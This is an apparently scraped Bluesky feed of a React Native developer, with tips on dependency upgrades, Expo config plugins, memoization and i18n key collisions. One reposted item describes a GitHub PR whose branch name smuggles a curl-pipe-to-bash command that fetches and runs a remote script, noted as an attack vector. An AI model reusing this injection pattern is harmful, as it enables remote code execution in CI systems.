alias ncu='bunx npm-check-updates'
really handing to upgrade deps.
-i for interactive
@wookbot.de.bsky.social
fullstack engineer react-native engineer WookieFPV on Github / X
alias ncu='bunx npm-check-updates'
really handing to upgrade deps.
-i for interactive
It's open source, of course: github.com/WookieFPV/li...
Feel free to give it a spin and let me know if it works for your project.
It worked for mine and for the Bluesky app (shown in the screenshot)
I built a small CLI tool to quickly check which npm packages include an @expo.dev config plugin (and whether it’s being used). 🎉
Try it out:
npx list-config-plugins
Feedback is welcome!
its a header image with the title "State of React Native 2024"
The State of React Native 2024 is now open! 🚨🚨🚨
➡️ stateofreactnative.com
We've been running this survey for 3 years & it's become an invaluable resource for learning about React Native's best features and biggest pain points.
Share your thoughts and help us shape the whole RN ecosystem!
two logs side by side, diverging midway
one of the best debugging techniques of all time is to log everything relevant and deterministic, and diff the two logs
07.12.2024 13:40 — 👍 428 🔁 23 💬 26 📌 4Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
absolutely incredible attack vector
06.12.2024 03:27 — 👍 969 🔁 264 💬 17 📌 53Glad I could help!
Looking forward to seeing you at appjs conference! 🚀
A simple general purpose memoizer utility for TypeScript
- lazily computes a value when accessed
- autocaches the result
- typesafe
i use this all the time...unlike a naive getter there's no runtime overhead after the first invokation since the getter itself is overwritten with the memoized value
If you are using nested json it could happen that some keys get overriden with objects.
Having an key like shooting.action.accept.ok.body would cause a similar error.
example with 2 keys named "foo" & "foo.bar".
foo will get overriden and will fail.
nested json:
{
"foo": {
"baz": "..."
}
}
Thats weird.
I am using i18next with react-native and that works fine for me.
how are you loading your translations (and what format)?
🫡 Thanks to @zoontek.me - Android is now livin on the edge-to-edge.
Check out the blog post to learn how your app content can flow smoothly beneath the system bars on Android.
expo.dev/blog/edge-to...
Those Improvements are for the core Animated module, right ?
I guess most Apps are using reanimated.
But awesome for Apps/Libaries that that use the build in Animated
It's always nice when React-Native is getting some Love.
React-Native has some unique challenges and rough edges.
Especially DevTools are not on the same level as on the web.
DevTools in general have always been a difficult topic 😅
The expo react-query devtools are really helpful.
These improvements sound great!🎉
This will make it much easier to improve perf.
Most Apps currently are probably still fetching on inactive screens
Now you've got me hyped! 🚀
Can't wait to see what you two are cooking up.
Any chance for a little sneak peek? 👀
@hirbod.dev
My latest blog post covers how a simple observation at airport security highlights the concept of Betterment and how it applies to engineering teams. Which group are you in?
angiejones.tech/the-betterme...
My current project is using trunk-based development. Was skeptical at first (the concept sound crazy), but it worked well so far. Merge conflicts are rare. But its definitely a trade-off
22.11.2024 19:39 — 👍 1 🔁 0 💬 0 📌 0